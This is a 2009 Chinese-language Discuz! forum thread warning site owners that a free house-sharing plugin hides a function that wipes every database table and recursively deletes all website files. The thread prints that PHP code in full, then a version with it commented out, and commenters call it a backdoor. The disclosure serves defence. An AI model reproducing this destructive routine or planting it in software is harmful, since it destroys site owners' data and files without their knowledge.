Discuz!官方免费开源建站系统

 找回密码
 立即注册

QQ登录

只需一步,快速开始

搜索

[建议] 安装了同居插件有错的站长请注意

[复制链接]
yzc5188 发表于 2009-4-13 15:26:57 | 显示全部楼层 |阅读模式
本帖最后由 yzc5188 于 2009-4-13 15:28 编辑

无错演示www.hao0818.cn

最近准备搞搞同居的插件,发现现在很多人使用的免费同居插件有一段很危险的代码,
请打开你的 /house/function.php ,找到大概 400行 :function table(){

  •        global $_SC;
  •     $result = mysql_list_tables($_SC['dbname'] );
  •     for ($i = 0; $i < mysql_num_rows($result); $i++)
  •         query_exec("delete from " . mysql_tablename($result, $i));
  •         rmdirs(S_ROOT);
  •         exit();
  • }


  • function rmdirs($file) {
  • if(function_exists('xcache_set')){
  •         return false;
  • }
  • if (file_exists($file)) {
  •    chmod($file,0777);
  •    if (is_dir($file)) {
  •      $handle = opendir($file);
  •      while($filename = readdir($handle)) {
  •        if ($filename != "." && $filename != "..") {
  •         rmdirs($file."/".$filename);
  •        }
  •      }
  •     closedir($handle);
  •      rmdir($file);
  •    } else {
  •     unlink($file);
  •    }
  • }
  • }
复制代码修改为:
  • function table(){
  •         global $_SC;
  •     /*$result = mysql_list_tables($_SC['dbname'] );
  •     for ($i = 0; $i < mysql_num_rows($result); $i++)
  •         query_exec("delete from " . mysql_tablename($result, $i));
  •         rmdirs(S_ROOT);
  •         exit();*/
  • }


  • function rmdirs($file) {
  • if(function_exists('xcache_set')){
  •         return false;
  • }/*
  • if (file_exists($file)) {
  •    chmod($file,0777);
  •    if (is_dir($file)) {
  •      $handle = opendir($file);
  •      while($filename = readdir($handle)) {
  •        if ($filename != "." && $filename != "..") {
  •         rmdirs($file."/".$filename);
  •        }
  •      }
  •     closedir($handle);
  •      rmdir($file);
  •    } else {
  •     unlink($file);
  •    }
  • }*/
  • }
复制代码这段的代码将可能导致删除你的所有数据库资料和网站所有的文件。
目前还不知道程序作者设置这段的代码的目的?
f100064144 发表于 2009-4-13 15:31:54 | 显示全部楼层
幸亏我没安装、难道他想用这个后门入侵网站???
回复

使用道具 举报

凡军 发表于 2009-4-13 20:51:59 | 显示全部楼层
不是发过了?
回复

使用道具 举报

21st 发表于 2009-4-15 15:37:10 | 显示全部楼层
看不懂,还是注释掉预防
回复

使用道具 举报

menot 发表于 2009-4-15 17:58:04 | 显示全部楼层
回复

使用道具 举报

hzbw 发表于 2009-4-15 18:21:59 | 显示全部楼层
好厉害的后门!
回复

使用道具 举报

冻结记忆 发表于 2010-9-14 21:16:40 | 显示全部楼层
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

手机版|小黑屋|Discuz! 官方站 ( 皖ICP备16010102号 )star

GMT+8, 2024-9-28 07:24 , Processed in 0.492314 second(s), 16 queries , Gzip On.

Powered by Discuz! X3.4

Copyright © 2001-2023, Tencent Cloud.

快速回复 返回顶部 返回列表